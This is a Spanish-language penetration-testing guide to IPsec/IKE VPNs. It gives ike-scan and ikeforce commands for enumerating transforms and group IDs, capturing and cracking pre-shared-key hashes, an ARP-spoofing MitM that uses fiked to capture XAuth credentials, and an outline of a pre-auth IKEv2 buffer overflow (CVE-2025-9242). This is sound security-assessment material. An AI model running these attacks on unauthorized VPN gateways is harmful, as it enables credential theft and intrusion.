500/udp - Pentesting IPsec/IKE VPN

Reading time: 17 minutes

Información básica

IPsec es ampliamente reconocido como la tecnología principal para asegurar las comunicaciones entre redes (LAN-to-LAN) y desde usuarios remotos hasta la puerta de enlace de la red (remote access), sirviendo como la columna vertebral para las soluciones VPN empresariales.

El establecimiento de una asociación de seguridad (SA) entre dos puntos es gestionado por IKE, que opera bajo el paraguas de ISAKMP, un protocolo diseñado para la autenticación e intercambio de claves. Este proceso se desarrolla en varias fases:

• Phase 1: Se crea un canal seguro entre dos endpoints. Esto se logra mediante el uso de una Pre-Shared Key (PSK) o certificados, empleando ya sea main mode, que implica tres pares de mensajes, o aggressive mode.
• Phase 1.5: Aunque no es obligatoria, esta fase, conocida como Extended Authentication Phase, verifica la identidad del usuario que intenta conectarse exigiendo un nombre de usuario y contraseña.
• Phase 2: Esta fase se dedica a negociar los parámetros para proteger los datos con ESP y AH. Permite el uso de algoritmos diferentes a los de Phase 1 para garantizar Perfect Forward Secrecy (PFS), mejorando la seguridad.

Puerto por defecto: 500/udp

También comúnmente expuesto: 4500/udp (NAT Traversal)

Descubrir el servicio con nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Encontrar una transformación válida

La configuración de IPSec puede estar preparada solo para aceptar una o unas pocas transformaciones. Una transformación es una combinación de valores. Cada transformación contiene un número de atributos como DES o 3DES como el algoritmo de cifrado, SHA o MD5 como el algoritmo de integridad, una clave precompartida como el tipo de autenticación, Diffie-Hellman 1 o 2 como el algoritmo de distribución de claves y 28800 segundos como el tiempo de vida.

Entonces, lo primero que tienes que hacer es encontrar una transformación válida, para que el servidor hable contigo. Para ello, puedes usar la herramienta ike-scan. Por defecto, ike-scan funciona en main mode, y envía un paquete al gateway con un ISAKMP header y una única propuesta con ocho transformaciones en su interior.

Dependiendo de la respuesta, puedes obtener alguna información sobre el endpoint:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Como puedes ver en la respuesta anterior, hay un campo llamado AUTH con el valor PSK. Esto significa que la VPN está configurada usando un preshared key (y esto es realmente bueno para un pentester).
El valor de la última línea también es muy importante:

• 0 returned handshake; 0 returned notify: Esto significa que el objetivo no es un IPsec gateway.
• 1 returned handshake; 0 returned notify: Esto significa que el target está configurado para IPsec y está dispuesto a realizar la negociación IKE, y una o más de las transforms que propusiste son aceptables (un transform válido se mostrará en la salida).
• 0 returned handshake; 1 returned notify: Los VPN gateways responden con un mensaje notify cuando ninguna de las transforms es aceptable (aunque algunos gateways no lo hacen, en cuyo caso debe intentarse un análisis adicional y una propuesta revisada).

Entonces, en este caso ya tenemos una transformación válida pero si estás en el tercer caso, necesitas brute-force un poco para encontrar una transformación válida:

Primero que nada necesitas crear todas las posibles transformaciones:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

A continuación, brute-force cada uno usando ike-scan (esto puede tardar varios minutos):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Si el brute-force no funcionó, quizá el servidor esté respondiendo sin handshakes incluso a transforms válidos. Entonces, podrías intentar el mismo brute-force pero usando aggressive mode:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Con suerte se devolverá una transformación válida.
Puedes probar el same attack usando iker.py.
También puedes intentar hacer brute force a las transformaciones con ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

En DH Group: 14 = 2048-bit MODP y 15 = 3072-bit
2 = HMAC-SHA = SHA1 (en este caso). El formato --trans es $Enc,$Hash,$Auth,$DH

Cisco indica evitar el uso de los DH groups 1 y 2 porque no son lo suficientemente fuertes. Los expertos creen que países con muchos recursos pueden romper fácilmente el cifrado de datos que usan estos grupos débiles. Esto se hace mediante un método especial que los prepara para descifrar los códigos rápidamente. Aunque cuesta mucho dinero implementarlo, permite a esos países poderosos leer en tiempo real los datos cifrados si usan un grupo no fuerte (como de 1,024-bit o menor).

Server fingerprinting

Luego, puedes usar ike-scan para intentar descubrir el fabricante del dispositivo. La herramienta envía una propuesta inicial y deja de replay. A continuación analiza la diferencia de tiempo entre los mensajes recibidos del servidor y el patrón de respuesta correspondiente; el pentester puede identificar con éxito el fabricante del gateway VPN. Además, algunos servidores VPN usarán la opcional Vendor ID (VID) payload con IKE.

Especifica la transformación válida si es necesario (usando --trans)

Si IKE descubre cuál es el fabricante, lo mostrará:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Esto también se puede lograr con el script de nmap ike-version

Específico de IKEv2: WatchGuard Vendor ID version fingerprinting

Algunos daemons IKEv2 incluyen Vendor ID payloads no estándar en la respuesta IKE_SA_INIT. WatchGuard Fireware OS codifica la versión/build del appliance directamente dentro del VID, permitiendo fingerprinting pre-auth con un solo paquete.

• Transporte: UDP/500 (y UDP/4500 para NAT-T)
• Paquete: la respuesta IKE_SA_INIT contiene una o más Vendor ID payloads
• Formato WatchGuard: hash de 32 bytes seguido de base64 que decodifica a p.ej. VN=12.11.3 BN=719894

Ejemplo de bytes crudos de una VID payload de WatchGuard (los últimos 12 bytes son base64):

00000000: bfc2 2e98 56ba 9936 11c1 1e48 a6d2 0807  ....V..6...H....
00000010: a95b edb3 9302 6a49 e60f ac32 7bb9 601b  .[....jI...2{.`.
00000020: 566b 3439 4d54 4975 4d54 4575 4d79 4243  Vk49MTIuMTEuMyBC
00000030: 546a 3033 4d54 6b34 4f54 513d            Tj03MTk4OTQ=

Extracción rápida en una shell cuando dispones del tail base64:

echo 'Vk49MTIuMTEuMyBCTj03MTk4OTQ=' | base64 -d
# VN=12.11.3 BN=719894

Notas

• Esto no forma parte de ninguna RFC de IKEv2. Trátalo como una peculiaridad del proveedor para un mapeo rápido de versiones de Fireware OS expuestas/vulnerables.
• Solo necesitas provocar una respuesta IKE_SA_INIT; no se requiere autenticación.

Encontrar el ID correcto (nombre del grupo)

Para poder capturar el hash necesitas una transformación válida que soporte Aggressive mode y el ID correcto (nombre del grupo). Probablemente no conozcas el nombre de grupo válido, así que tendrás que hacer brute-force.\ Para ello, te recomiendo 2 métodos:

Bruteforcing ID with ike-scan

First of all try to make a request with a fake ID trying to gather the hash ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Si no se devuelve ningún hash, entonces probablemente este método de brute forcing funcionará. Si se devuelve algún hash, esto significa que se va a enviar de vuelta un hash falso para un ID falso, por lo que este método no será fiable para brute-forcear el ID. Por ejemplo, podría devolverse un hash falso (esto ocurre en versiones modernas):

Pero, como he dicho, si no se devuelve ningún hash, deberías intentar brute-forcear nombres de grupo comunes usando ike-scan.

Este script intentará brute-forcear posibles IDs y devolverá los IDs donde se obtenga un handshake válido (esto será un nombre de grupo válido).

Si has descubierto una transformación específica añádela en el comando ike-scan. Y si has descubierto varias transformaciones siéntete libre de añadir un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una funcione correctamente).

Puedes usar el dictionary of ikeforce o the one in seclists de nombres de grupo comunes para brute-forcearlos:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Or use this dict (is a combination of the other 2 dicts without repetitions):

Bruteforcing ID with Iker

iker.py también usa ike-scan para hacer fuerza bruta a posibles nombres de grupo. Sigue su propio método para encontrar un ID válido basándose en la salida de ike-scan.

Bruteforcing ID with ikeforce

ikeforce.py es una herramienta que también puede usarse para hacer fuerza bruta sobre IDs. Esta herramienta intentará explotar diferentes vulnerabilidades que podrían usarse para distinguir entre un ID válido y uno no válido (puede producir falsos positivos y falsos negativos; por eso prefiero usar el método ike-scan si es posible).

By default ikeforce will send at the beginning some random ids to check the behaviour of the server and determinate the tactic to use.

• El primer método consiste en hacer fuerza bruta sobre los nombres de grupo buscando la información Dead Peer Detection DPD de los sistemas Cisco (esta información solo es devuelta por el servidor si el nombre del grupo es correcto).
• El segundo método disponible es comprobar el número de respuestas enviadas a cada intento, porque a veces se envían más paquetes cuando se usa el id correcto.
• El tercer método consiste en buscar "INVALID-ID-INFORMATION" en la respuesta a un ID incorrecto.
• Finalmente, si el servidor no responde nada a las comprobaciones, ikeforce intentará hacer fuerza bruta contra el servidor y comprobar si cuando se envía el id correcto el servidor responde con algún paquete.\

Obviamente, el objetivo de realizar fuerza bruta sobre el id es obtener la PSK cuando tengas un id válido. Luego, con el id y la PSK tendrás que hacer fuerza bruta al XAUTH (si está habilitado).

Si has descubierto una transformación específica añádela en el comando de ikeforce. Y si has descubierto varias transformaciones, siéntete libre de añadir un nuevo bucle para probarlas todas (deberías probarlas todas hasta que una funcione correctamente).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library

./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Del libro Network Security Assessment: Know Your Network): También es posible obtener nombres de usuario válidos mediante sniffing de la conexión entre el cliente VPN y el servidor, ya que el primer paquete en aggressive mode que contiene el client ID se envía en claro

Capturing & cracking the hash

Finalmente, si has encontrado una valid transformation y el group name, y si el aggressive mode está permitido, entonces puedes obtener muy fácilmente el crackable hash:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

El hash se guardará dentro de hash.txt.

Puedes usar psk-crack, john (usando ikescan2john.py) y hashcat para crack el hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE combinado con una Pre-Shared Key (PSK) se emplea comúnmente para propósitos de autenticación de grupo. Este método se complementa con XAuth (Extended Authentication), que sirve para introducir una capa adicional de autenticación de usuario. Dicha autenticación típicamente aprovecha servicios como Microsoft Active Directory, RADIUS, o sistemas comparables.

Al pasar a IKEv2, se observa un cambio notable donde EAP (Extensible Authentication Protocol) se utiliza en lugar de XAuth para la autenticación de usuarios. Este cambio subraya una evolución en las prácticas de autenticación dentro de los protocolos de comunicación seguros.

MitM en la red local para capturar credenciales

Así podrás capturar los datos del inicio de sesión usando fiked y ver si hay algún nombre de usuario por defecto (Necesitas redirigir el tráfico IKE a fiked para sniffing, lo cual puede hacerse con la ayuda de ARP spoofing, more info). Fiked actuará como un endpoint VPN y capturará las credenciales XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Además, usando IPSec intenta realizar un ataque MitM y bloquear todo el tráfico al port 500; si el túnel IPSec no puede establecerse quizá el tráfico se envíe en claro.

Brute-forcing XAUTH username y password con ikeforce

Para brute-forcing el XAUTH (cuando conoces un nombre de grupo válido id y la psk) puedes usar un username o una lista de usernames y una lista de passwords:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

De este modo, ikeforce intentará conectarse usando cada combinación username:password.

Si encontraste una o varias transformaciones válidas, simplemente úsalas como en los pasos anteriores.

Autenticación con un IPSEC VPN

En Kali, VPNC se utiliza para establecer túneles IPsec. Los perfiles deben ubicarse en el directorio /etc/vpnc/. Puedes iniciar estos perfiles usando el comando vpnc.

Los siguientes comandos y configuraciones ilustran el proceso de configurar una conexión VPN con VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

En esta configuración:

• Replace [VPN_GATEWAY_IP] with the actual IP address of the VPN gateway.
• Replace [VPN_CONNECTION_ID] with the identifier for the VPN connection.
• Replace [VPN_GROUP_SECRET] with the VPN's group secret.
• Replace [VPN_USERNAME] and [VPN_PASSWORD] with the VPN authentication credentials.
• [PID] symbolizes the process ID that will be assigned when vpnc initiates.

Ensure that actual, secure values are used to replace the placeholders when configuring the VPN.

Notas de explotación de IKEv2: bugs en el procesamiento pre-auth de IDi/CERT

Los dispositivos VPN modernos suelen exponer IKEv2 en UDP/500 (y UDP/4500 para NAT-T). Una superficie de ataque común en pre-autenticación es el parsing de las cargas Identification (IDi) y Certificate durante IKE_SA_AUTH.

Flujo de explotación a alto nivel cuando existe un parser IKEv2 vulnerable:

• Send a valid IKE_SA_INIT to negotiate transforms and complete Diffie–Hellman.
• Follow with IKE_SA_AUTH carrying an IDi that triggers the bug (e.g., an oversized Identification copied into a fixed-size stack buffer before certificate validation).
• Resulting memory corruption can yield saved-register and return-address control.
• With NX enabled but other mitigations missing (no PIE/canaries), build a ROP chain to call mprotect on a stack page and then pivot execution to injected shellcode or to a resident interpreter (e.g., /usr/bin/python3) if no /bin/sh is available.

Example default transforms observed on some IKEv2 appliances (WatchGuard Fireware OS 12.11.3):

• SHA2-256–AES(256-bit) with DH Group 14
• SHA1–AES(256-bit) with DH Group 5
• SHA1–AES(256-bit) with DH Group 2
• SHA1–3DES with DH Group 2

Consejos prácticos

• Target both UDP/500 and UDP/4500; NAT-T servers may reply only on 4500.
• Increase receive buffer and timeouts for UDP-based scanners to avoid packet loss.
• If the service exposes custom Vendor IDs (see section above), use them to quickly fingerprint vulnerable versions before attempting any exploit traffic.

Reference Material

• PSK cracking paper
• SecurityFocus Infocus
• Scanning a VPN Implementation
• Network Security Assessment 3rd Edition

Shodan

• port:500 IKE
• port:4500 "UDP"
• udp port:500,4500 "WatchGuard"

Referencias

• YIKES: WatchGuard Fireware OS IKEv2 out-of-bounds write (CVE-2025-9242)